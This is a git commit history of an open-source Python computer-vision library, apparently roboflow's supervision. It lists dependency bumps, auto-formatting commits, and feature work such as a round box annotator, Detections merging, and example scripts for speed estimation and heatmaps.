2024-01-12 00:31:21 +03:00
dependabot[bot] 27d6832507 ⬆️ Bump jinja2 from 3.1.2 to 3.1.3
Bumps [jinja2](https://github.com/pallets/jinja) from 3.1.2 to 3.1.3.
- [Release notes](https://github.com/pallets/jinja/releases)
- [Changelog](https://github.com/pallets/jinja/blob/main/CHANGES.rst)
- [Commits](https://github.com/pallets/jinja/compare/3.1.2...3.1.3)

---
updated-dependencies:
- dependency-name: jinja2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-11 21:12:58 +00:00
James 8acc0a9ed8 Merge pull request #684 from roboflow/py38req
ci: 👷 close dependabot warning and PR requests for min version(py38)
2024-01-11 13:18:52 +00:00
Onuralp SEZER 97d9472f42 Add sv.RoundBoxAnnotator #702 from xaristeidou/develop
Add `sv.RoundBoxAnnotator` which annotates bounding box with round edges
2024-01-10 14:43:48 +03:00
Onuralp SEZER f3fa12d169 feat(rename): ✨ RoundBoundingBoxAnnotator to RoundBoxAnnotator
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-10 14:41:12 +03:00
Piotr Skalski 9b5bba1422 Merge pull request #714 from roboflow/example/speed_estimation
example/speed_estimation 🚗 💨💨💨
2024-01-10 12:10:52 +01:00
Onuralp SEZER a337ee591a feat: ✨ supervison downloader added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-09 05:15:28 +03:00
Onuralp SEZER a1da604798 Merge pull request #716 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2024-01-08 21:27:35 +03:00
pre-commit-ci[bot] 1d4c3f3a68 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.9 → v0.1.11](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.9...v0.1.11)
2024-01-08 17:42:51 +00:00
Piotr Skalski a72ad42628 Update README.md 2024-01-08 14:02:27 +01:00
pre-commit-ci[bot] be5748c086 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-08 12:57:53 +00:00
SkalskiP 9e05a545c7 Merge remote-tracking branch 'origin/example/speed_estimation' into example/speed_estimation
# Conflicts:
#	examples/speed_estimation/README.md
2024-01-08 13:57:37 +01:00
SkalskiP f0142344ae update note in speed estimation emo README.md 2024-01-08 13:57:17 +01:00
pre-commit-ci[bot] d596d10b3f fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-08 12:52:34 +00:00
SkalskiP 86134993c8 Merge remote-tracking branch 'origin/example/speed_estimation' into example/speed_estimation 2024-01-08 13:52:19 +01:00
SkalskiP 8bab49157d working version of inference_example.py 2024-01-08 13:52:09 +01:00
SkalskiP bcbd25988d 👊 bump version from 0.17.1 to 0.18.0rc1 2024-01-08 13:31:11 +01:00
SkalskiP 24e995933e 👊 bump version from 0.17.1 to 0.18.0rc1 2024-01-08 13:12:41 +01:00
pre-commit-ci[bot] 4ae9131f0a fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-08 12:03:31 +00:00
SkalskiP 69894c82af initial version of inference_example.py script 2024-01-08 13:01:08 +01:00
SkalskiP e009402934 yolo_nas_example.py script is ready 2024-01-08 12:26:43 +01:00
SkalskiP 351ef464d9 initial version of yolo_nas_example.py script 2024-01-08 12:04:29 +01:00
SkalskiP 949e326559 updated README.md and ultralytics_example.py 2024-01-08 08:55:28 +01:00
SkalskiP 0a7e116d7f added script.sh and updated README.md 2024-01-08 08:34:55 +01:00
SkalskiP 5ce65a2fd5 current version 2024-01-08 08:11:40 +01:00
Onuralp SEZER 73ae555e10 docs: 📝 RoundBoundingBox documentations roundness fix
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-06 03:33:10 +03:00
Onuralp SEZER 98c0b8c2a5 Merge branch 'develop' into develop 2024-01-05 23:01:13 +03:00
Onuralp SEZER 7b7a734f2c docs: 📝 RoundBoundingBox documentations and small change on code section
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-05 22:59:29 +03:00
Onuralp SEZER e9ba3ca918 Merge pull request #712 from roboflow/dependabot/pip/mkdocs-material-9.5.3
⬆️ Bump mkdocs-material from 9.5.2 to 9.5.3
2024-01-05 20:40:48 +03:00
Onuralp SEZER 4c16af5544 Merge pull request #713 from roboflow/dependabot/pip/mypy-1.8.0
⬆️ Bump mypy from 1.7.1 to 1.8.0
2024-01-05 20:40:30 +03:00
Onuralp SEZER 893dbe0579 Merge pull request #711 from roboflow/dependabot/pip/pytest-7.4.4
⬆️ Bump pytest from 7.4.3 to 7.4.4
2024-01-05 20:40:17 +03:00
SkalskiP 3e6c1799ef current version 2024-01-05 16:51:27 +01:00
dependabot[bot] e53c804217 ⬆️ Bump mypy from 1.7.1 to 1.8.0
Bumps [mypy](https://github.com/python/mypy) from 1.7.1 to 1.8.0.
- [Changelog](https://github.com/python/mypy/blob/master/CHANGELOG.md)
- [Commits](https://github.com/python/mypy/compare/v1.7.1...v1.8.0)

---
updated-dependencies:
- dependency-name: mypy
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-05 00:26:59 +00:00
dependabot[bot] 6dcd947110 ⬆️ Bump mkdocs-material from 9.5.2 to 9.5.3
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.2 to 9.5.3.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.2...9.5.3)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-05 00:24:59 +00:00
dependabot[bot] 13fc3f76f8 ⬆️ Bump pytest from 7.4.3 to 7.4.4
Bumps [pytest](https://github.com/pytest-dev/pytest) from 7.4.3 to 7.4.4.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/7.4.3...7.4.4)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-05 00:22:11 +00:00
SkalskiP d83547ec80 initial working version 2024-01-04 23:38:47 +01:00
SkalskiP 7e8d44ac35 dropping idea of using lines to calculate speed 2024-01-04 22:35:59 +01:00
SkalskiP 2e9b2a1bcb detection, tracking and annotation added 2024-01-04 20:54:37 +01:00
SkalskiP 5df9730b3f 🚗💨💨💨 speed estimation example initial commit 2024-01-04 20:08:01 +01:00
Onuralp SEZER e1ef7aa849 Merge pull request #706 from roboflow/dependabot/pip/pillow-10.2.0
⬆️ Bump pillow from 10.1.0 to 10.2.0
2024-01-04 21:06:34 +03:00
Onuralp SEZER 77f17a3fde Merge pull request #707 from roboflow/dependabot/pip/ruff-0.1.11
⬆️ Bump ruff from 0.1.9 to 0.1.11
2024-01-04 21:06:20 +03:00
dependabot[bot] 030189e45f ⬆️ Bump ruff from 0.1.9 to 0.1.11
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.9 to 0.1.11.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.9...v0.1.11)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-04 15:10:44 +00:00
Piotr Skalski 850614739b Merge pull request #677 from roboflow/feature/from-roboflow-base-model
Inference Examples and `from_roboflow` Update
2024-01-04 16:08:25 +01:00
pre-commit-ci[bot] de10b25dc4 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 15:07:05 +00:00
SkalskiP 7cde087ca6 update Track Objects docs page 2024-01-04 16:06:52 +01:00
SkalskiP 8348f5911e Merge remote-tracking branch 'origin/feature/from-roboflow-base-model' into feature/from-roboflow-base-model 2024-01-04 15:54:15 +01:00
SkalskiP be57c8872d make ruff happy 2024-01-04 15:52:40 +01:00
pre-commit-ci[bot] c963a2e85a fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 14:50:08 +00:00
SkalskiP bdaee3f1fc update Detect and annotate guide 2024-01-04 15:49:47 +01:00
pre-commit-ci[bot] c9be7527d6 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 14:22:39 +00:00
SkalskiP 7023bb9bf4 count people in zone example cleanup 2024-01-04 15:22:25 +01:00
pre-commit-ci[bot] a5c0949cd6 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 14:10:39 +00:00
SkalskiP 9862f40ab4 Merge remote-tracking branch 'origin/feature/from-roboflow-base-model' into feature/from-roboflow-base-model 2024-01-04 15:09:29 +01:00
SkalskiP 1ad9ee1e6a tracking example cleanup 2024-01-04 15:06:31 +01:00
pre-commit-ci[bot] 5b174ea7ec fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 13:58:44 +00:00
SkalskiP b5f9cdf90e Merge remote-tracking branch 'origin/feature/from-roboflow-base-model' into feature/from-roboflow-base-model
# Conflicts:
#	examples/traffic_analysis/README.md
2024-01-04 14:58:30 +01:00
SkalskiP 0acd408f29 traffic analysis example cleanup 2024-01-04 14:56:56 +01:00
pre-commit-ci[bot] 26829070f3 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 13:34:49 +00:00
SkalskiP 9c1f06046d traffic analysis example cleanup 2024-01-04 14:34:36 +01:00
SkalskiP ace32eecb6 improve Detections docstrings 2024-01-04 13:56:51 +01:00
pre-commit-ci[bot] 53803c77ca fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-04 12:30:25 +00:00
Piotr Skalski f86cd5114d Update README.md 2024-01-04 13:30:17 +01:00
Piotr Skalski 8a32a9ccb1 Update README.md example 2024-01-04 12:54:02 +01:00
SkalskiP 2e491a85c9 Merge branch 'develop' into feature/from-roboflow-base-model
# Conflicts:
#	poetry.lock
#	supervision/detection/core.py
2024-01-04 10:02:01 +01:00
Piotr Skalski 9e34cbb31c Merge pull request #708 from roboflow/feature/update-label-annotator-to-respect-class-name-detection-data-field
feature/update-label-annotator-to-respect-class-name-detection-data-field
2024-01-03 08:41:34 +01:00
SkalskiP 11cd92e4f3 update sv.LabelAnnotator to respect optional 'class_name' sv.Detections.data field 2024-01-03 08:19:14 +01:00
Piotr Skalski 1b386a45d5 Merge pull request #705 from roboflow/feature/extract-class-name-from-roboflow-result
feature/extract-class-name-from-roboflow-result
2024-01-03 07:56:59 +01:00
pre-commit-ci[bot] 80d1df7509 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-03 06:23:01 +00:00
SkalskiP f4d2f2a900 use CLASS_NAME_DATA_FIELD data constant over 'class_name' string 2024-01-03 07:22:48 +01:00
SkalskiP 0d10704370 improve from_roboflow docstring 2024-01-03 06:50:18 +01:00
dependabot[bot] 1001448f5c ⬆️ Bump pillow from 10.1.0 to 10.2.0
Bumps [pillow](https://github.com/python-pillow/Pillow) from 10.1.0 to 10.2.0.
- [Release notes](https://github.com/python-pillow/Pillow/releases)
- [Changelog](https://github.com/python-pillow/Pillow/blob/main/CHANGES.rst)
- [Commits](https://github.com/python-pillow/Pillow/compare/10.1.0...10.2.0)

---
updated-dependencies:
- dependency-name: pillow
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-03 00:37:50 +00:00
pre-commit-ci[bot] d35f1888f9 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-02 20:02:04 +00:00
SkalskiP 706ff0fd46 initial update of process_roboflow_result function 2024-01-02 21:00:17 +01:00
Piotr Skalski 8528a8a738 Merge pull request #700 from roboflow/feature/extend-detections-with-data-field-to-support-custom-payload
feature/extend-detections-with-data-field-to-support-custom-payload
2024-01-02 18:04:39 +01:00
SkalskiP e3d92a01c4 ready for colab tests 2024-01-02 17:58:08 +01:00
SkalskiP 0f6396669b initial Detections.__setitem__ implementation + Detections.__getitem__ changes 2024-01-02 17:37:26 +01:00
SkalskiP 8e40fa8664 Merge remote-tracking branch 'origin/feature/extend-detections-with-data-field-to-support-custom-payload' into feature/extend-detections-with-data-field-to-support-custom-payload 2024-01-02 15:58:54 +01:00
SkalskiP a10b9840af initial Detections.__iter__ implementation 2024-01-02 15:58:44 +01:00
pre-commit-ci[bot] 51694819e3 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-02 14:05:34 +00:00
SkalskiP ced9f35b6e initial Detections.__getitem__ implementation 2024-01-02 15:05:20 +01:00
Onuralp SEZER b300c59f78 Merge pull request #704 from roboflow/dependabot/pip/pytest-7.4.4
⬆️ Bump pytest from 7.4.3 to 7.4.4
2024-01-01 08:38:15 +03:00
dependabot[bot] d3cbad4aa1 ⬆️ Bump pytest from 7.4.3 to 7.4.4
Bumps [pytest](https://github.com/pytest-dev/pytest) from 7.4.3 to 7.4.4.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/7.4.3...7.4.4)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-01 01:20:51 +00:00
Brad Dwyer 310a09859d Remove unused tracker_length 2023-12-29 11:42:25 -06:00
pre-commit-ci[bot] e75e527925 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-29 17:24:37 +00:00
SkalskiP 5984d3374c better Detections.merge validation 2023-12-29 18:24:24 +01:00
SkalskiP 099d36011d better Detections.merge docs + more Detections.merge tests 2023-12-29 16:53:41 +01:00
dependabot[bot] 50f3de3483 ⬆️ Bump mkdocs-material from 9.5.2 to 9.5.3 (#691)
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.2 to 9.5.3.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.2...9.5.3)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-29 18:40:50 +03:00
pre-commit-ci[bot] ea21a75135 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-29 15:37:49 +00:00
SkalskiP 955220f25f Merge remote-tracking branch 'origin/feature/extend-detections-with-data-field-to-support-custom-payload' into feature/extend-detections-with-data-field-to-support-custom-payload
# Conflicts:
#	supervision/detection/core.py
2023-12-29 16:37:31 +01:00
SkalskiP 95e2ad6d52 refactor of core.py; moving utils to utils.py 2023-12-29 16:36:54 +01:00
pre-commit-ci[bot] db245bbc34 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-29 15:15:48 +00:00
SkalskiP 9be71da888 handle one more edge case in Detections.merge logic 2023-12-29 16:15:36 +01:00
SkalskiP c2412379c4 Merge remote-tracking branch 'origin/feature/extend-detections-with-data-field-to-support-custom-payload' into feature/extend-detections-with-data-field-to-support-custom-payload 2023-12-29 15:16:46 +01:00
pre-commit-ci[bot] 63ccc98d0b fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-29 14:15:59 +00:00
SkalskiP 14761cb20a fix test_detections_from_xml_obj 2023-12-29 15:15:57 +01:00
SkalskiP 5dfc2e61e7 Merge remote-tracking branch 'origin/feature/extend-detections-with-data-field-to-support-custom-payload' into feature/extend-detections-with-data-field-to-support-custom-payload 2023-12-29 15:15:49 +01:00
SkalskiP 701b0c0b97 fix test_detections_from_xml_obj 2023-12-29 15:15:38 +01:00
pre-commit-ci[bot] 27eb823809 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-29 14:05:21 +00:00
SkalskiP efed23f64e Detections.merge updated and tested 2023-12-29 15:05:07 +01:00
Christoforos Aristeidou 4d955c8531 Merge branch 'round-edge-annotator' into develop 2023-12-29 11:05:43 +02:00
Christoforos Aristeidou bbc9374f06 🎨 pre-commit class sort 2023-12-29 11:03:40 +02:00
Christoforos Aristeidou 921256548e 🎨 pre-commit space correction 2023-12-29 11:03:16 +02:00
Christoforos Aristeidou b68c019fe1 shorted description of annotate method to fit 88 chars 2023-12-29 10:55:37 +02:00
Christoforos Aristeidou 055d06b56f changed default value of roundness 2023-12-29 10:52:57 +02:00
Christoforos Aristeidou 5274147856 description for annotate method of RoundBoundingBoxAnnotator 2023-12-29 10:47:05 +02:00
Christoforos Aristeidou 2b8c31a481 class description correction 2023-12-29 10:41:03 +02:00
Christoforos Aristeidou 0bd9862f8a Class description for RoundBoundingBoxAnnotator 2023-12-29 10:40:14 +02:00
Christoforos Aristeidou 587ed25f49 added RoundBoundingBoxAnnotator to __init__ import 2023-12-29 10:36:24 +02:00
Christoforos Aristeidou df6b628a30 added RoundBoundingBoxAnnotator class annotator 2023-12-29 10:20:33 +02:00
Piotr Skalski 456ec9a847 Merge pull request #701 from roboflow/md5_recheck_fix
fix(md5): 🐞 hash_new param fix for downloaded content check
2023-12-29 09:19:37 +01:00
Onuralp SEZER 004bc7e0b3 Merge pull request #680 from HinePo/develop - Adding heatmap example
Adding heatmap example
2023-12-29 00:27:13 +03:00
Onuralp SEZER a2dbe9e53a docs(example): readme.md usage fixes
feat: default video set to people-walking.mp4 output to output.mp4
fix: re-create requirements.txt(fix end of line corruption)

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-29 00:24:40 +03:00
Onuralp SEZER fcd6866337 fix(md5): 🐞 hash_new param fix for downloaded content check
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-28 23:59:31 +03:00
Onuralp SEZER 7425303382 Merge pull request #692 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-12-28 23:33:50 +03:00
pre-commit-ci[bot] bf427d5061 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-28 18:21:48 +00:00
Brad Dwyer 8ab7cb659c Merge branch 'prediction-smoothing' of https://github.com/roboflow/supervision into prediction-smoothing 2023-12-28 12:21:38 -06:00
Brad Dwyer a58c8ef0fe Add set_length and use deque 2023-12-28 12:21:07 -06:00
pre-commit-ci[bot] 3e0a665ef2 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-28 18:04:43 +00:00
Brad Dwyer 3a0682db08 Remove NoneDict and add type hints 2023-12-28 12:04:33 -06:00
Brad Dwyer a36b426dff Merge branch 'develop' into prediction-smoothing 2023-12-28 11:50:15 -06:00
Brad Dwyer 3f77433f2e Merge branch 'prediction-smoothing' of https://github.com/roboflow/supervision into prediction-smoothing 2023-12-28 11:50:12 -06:00
Brad Dwyer 5d1e76fbd0 Update copy based on feedback from James & Piotr 2023-12-28 11:50:06 -06:00
pre-commit-ci[bot] 6600d7533a fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-28 17:43:55 +00:00
Brad Dwyer 1d4d7dd4ea Move into tools directory 2023-12-28 11:42:55 -06:00
pre-commit-ci[bot] b2d98fe457 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-28 16:52:43 +00:00
SkalskiP ea6439b8fd Detections.__eq__ updated and tested 2023-12-28 17:52:25 +01:00
pre-commit-ci[bot] f2031d53d6 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-28 15:03:47 +00:00
SkalskiP f3f545d893 simplifying Detections.__eq__ method 2023-12-28 15:58:51 +01:00
Piotr Skalski d0c2b145a8 Merge pull request #687 from roboflow/add-zoominfo
Add ZoomInfo integration
2023-12-28 14:33:16 +01:00
Brad Dwyer d7420c545e Move video to correct spot in the docs 2023-12-27 15:17:28 -06:00
Brad Dwyer 729eb16ea6 Merge branch 'prediction-smoothing' of https://github.com/roboflow/supervision into prediction-smoothing 2023-12-27 15:15:31 -06:00
Brad Dwyer ca6ba30375 Fix linter errors 2023-12-27 15:15:18 -06:00
pre-commit-ci[bot] 7f4b27a556 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-27 21:09:26 +00:00
Brad Dwyer ffdab06376 Update Docs 2023-12-27 15:02:02 -06:00
Brad Dwyer b912db7a06 Add Detections Smoother 2023-12-27 14:13:40 -06:00
pre-commit-ci[bot] db8bdc1965 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.8 → v0.1.9](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.8...v0.1.9)
2023-12-25 17:43:46 +00:00
Paul f942d89881 Added inference examples throughout the docs. 2023-12-22 11:09:39 -07:00
Onuralp SEZER 404adc30dd Merge pull request #690 from roboflow/dependabot/pip/mypy-1.8.0
⬆️ Bump mypy from 1.7.1 to 1.8.0
2023-12-22 12:16:49 +03:00
dependabot[bot] 9ba46fd067 ⬆️ Bump mypy from 1.7.1 to 1.8.0
Bumps [mypy](https://github.com/python/mypy) from 1.7.1 to 1.8.0.
- [Changelog](https://github.com/python/mypy/blob/master/CHANGELOG.md)
- [Commits](https://github.com/python/mypy/compare/v1.7.1...v1.8.0)

---
updated-dependencies:
- dependency-name: mypy
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-22 09:05:20 +00:00
Onuralp SEZER 054602b4dc Merge pull request #689 from roboflow/dependabot/pip/ruff-0.1.9
⬆️ Bump ruff from 0.1.8 to 0.1.9
2023-12-22 12:03:18 +03:00
dependabot[bot] 354895585e ⬆️ Bump ruff from 0.1.8 to 0.1.9
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.8 to 0.1.9.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.8...v0.1.9)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-22 00:44:40 +00:00
pre-commit-ci[bot] 587a69f00e fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-21 15:03:16 +00:00
James Gallagher 1981de1c80 use new organization 2023-12-21 15:03:04 +00:00
James 0faf14229c Update mkdocs.yml 2023-12-21 14:55:06 +00:00
Onuralp SEZER f0e7c0c847 ci: 👷 close dependabot warning and PR requests for min version(py38)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-19 16:53:59 +03:00
Onuralp SEZER 8bcfefb672 Merge pull request #681 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-12-18 20:57:59 +03:00
pre-commit-ci[bot] d32b490afe chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/pycqa/isort: 5.13.0 → 5.13.2](https://github.com/pycqa/isort/compare/5.13.0...5.13.2)
- [github.com/astral-sh/ruff-pre-commit: v0.1.7 → v0.1.8](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.7...v0.1.8)
2023-12-18 17:46:43 +00:00
Onuralp SEZER 263d88bf77 docs: 📝 typos fixed in example documentation and new person added into example list
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-18 20:06:34 +03:00
Onuralp SEZER c18f9bf625 chore(formatter): 🧹 files formatting fixed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-18 20:01:04 +03:00
pre-commit-ci[bot] 670e9c5afc fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-18 15:18:55 +00:00
Rafael Levy e320db492c adding heatmap example
I haven't figured out how to add the video output file, but I can link the file below:

https://www.kaggle.com/code/hinepo/yolov8-supervision-heatmap-track-count/output?select=heatmap_and_track.mp4
2023-12-18 12:13:15 -03:00
Paul 2c833108cc Merge branch 'feature/from-roboflow-base-model' of https://github.com/roboflow/supervision into feature/from-roboflow-base-model 2023-12-18 07:07:13 -07:00
Paul 678156c1f1 Missed a couple README updates with last commit 2023-12-18 07:06:45 -07:00
pre-commit-ci[bot] e2bb2be9b2 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-18 14:03:00 +00:00
Paul 362e9f7b43 Address some review feedback:
- separated args list in examples between inference and ultralytics
- added depricated decorator to from_roboflow
- use `with supress(...)` for parsing inference response models instead of checking instance type (no more pydantic dep)
- a few other README changes
2023-12-18 06:59:59 -07:00
Onuralp SEZER 62066c92a8 Merge pull request #669 from roboflow/dependabot/pip/mkdocs-material-9.5.2
⬆️ Bump mkdocs-material from 9.5.0 to 9.5.2
2023-12-17 12:39:38 +03:00
Onuralp SEZER c64bc1cfa0 Merge pull request #674 from roboflow/dependabot/pip/ruff-0.1.8
⬆️ Bump ruff from 0.1.7 to 0.1.8
2023-12-17 12:39:20 +03:00
Onuralp SEZER 4b728334e7 Merge pull request #675 from roboflow/dependabot/pip/isort-5.13.2
⬆️ Bump isort from 5.12.0 to 5.13.2
2023-12-17 12:38:33 +03:00
Paul 973d26c180 Merge branch 'feature/from-roboflow-base-model' of https://github.com/roboflow/supervision into feature/from-roboflow-base-model 2023-12-15 09:51:11 -07:00
Paul 38cb7d7249 Add pydantic dependancy 2023-12-15 09:50:26 -07:00
pre-commit-ci[bot] 109ff2db6c fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-15 16:42:53 +00:00
Paul af5861557b Added examples using inference to each example directory and updated requirements and READMEs accordingly. 2023-12-15 09:38:05 -07:00
Paul Guerrie 2f0b10a36d WIP: Small update to accept BaseModel type for from_roboflow method.
Also adding Inference examples.
2023-12-14 22:24:09 +00:00
dependabot[bot] 5a28378d3c ⬆️ Bump isort from 5.12.0 to 5.13.2
Bumps [isort](https://github.com/pycqa/isort) from 5.12.0 to 5.13.2.
- [Release notes](https://github.com/pycqa/isort/releases)
- [Changelog](https://github.com/PyCQA/isort/blob/main/CHANGELOG.md)
- [Commits](https://github.com/pycqa/isort/compare/5.12.0...5.13.2)

---
updated-dependencies:
- dependency-name: isort
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-14 00:21:00 +00:00
dependabot[bot] c210362389 ⬆️ Bump ruff from 0.1.7 to 0.1.8
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.7 to 0.1.8.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.7...v0.1.8)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-14 00:17:42 +00:00
Piotr Skalski 5b7e0bac5a Add count_people_in_zone example to README.md 2023-12-13 15:56:37 +01:00
Piotr Skalski 2180719183 Merge pull request #673 from roboflow/example/count_people_in_zone
example/count_people_in_zone
2023-12-13 15:55:11 +01:00
pre-commit-ci[bot] d71cb82a87 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-13 14:46:54 +00:00
SkalskiP 770d7893c6 Final README.md updates 2023-12-13 15:45:14 +01:00
Piotr Skalski 6ec5c24d7e Update README.md with example results 2023-12-13 15:34:47 +01:00
pre-commit-ci[bot] e8df6e6795 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-13 14:01:56 +00:00
SkalskiP a967d78021 Merge remote-tracking branch 'origin/example/count_people_in_zone' into example/count_people_in_zone 2023-12-13 14:59:31 +01:00
SkalskiP b678d44182 Changing annotation style from BoxCornerAnnotator to BoundingBoxAnnotator. 2023-12-13 14:58:43 +01:00
pre-commit-ci[bot] 697704354a fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-13 13:46:32 +00:00
SkalskiP 5f7ad5f4d3 Update README.md in example projects. 2023-12-13 14:45:17 +01:00
pre-commit-ci[bot] f7a3a408fa fix(pre_commit): 🎨 auto format pre-commit hooks 2023-12-13 13:29:42 +00:00
SkalskiP 852eec4c6a Initial commit 🎉 2023-12-13 14:28:16 +01:00
dependabot[bot] 0b7a376ace ⬆️ Bump mkdocs-material from 9.5.0 to 9.5.2
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.0 to 9.5.2.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.0...9.5.2)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-13 10:15:33 +00:00
Piotr Skalski 78a63501bf Merge pull request #672 from roboflow/doc-formatter-config
fix(black):  🔥 retire black formatter in favor of ruff and exclude doc-string long line formatter
2023-12-13 11:13:16 +01:00
Piotr Skalski 0d424a1e0b Merge pull request #671 from roboflow/md5-sec
fix(sec-md5): 🐞 md5 security warning fix
2023-12-13 11:03:30 +01:00
Onuralp SEZER 72f2c986de style(flake): 🔥 flake8 removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 13:01:29 +03:00
Onuralp SEZER 5f11ef4df6 fix(flake):  🧹 flake8 ignores removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-12-13 12:47:15 +03:00
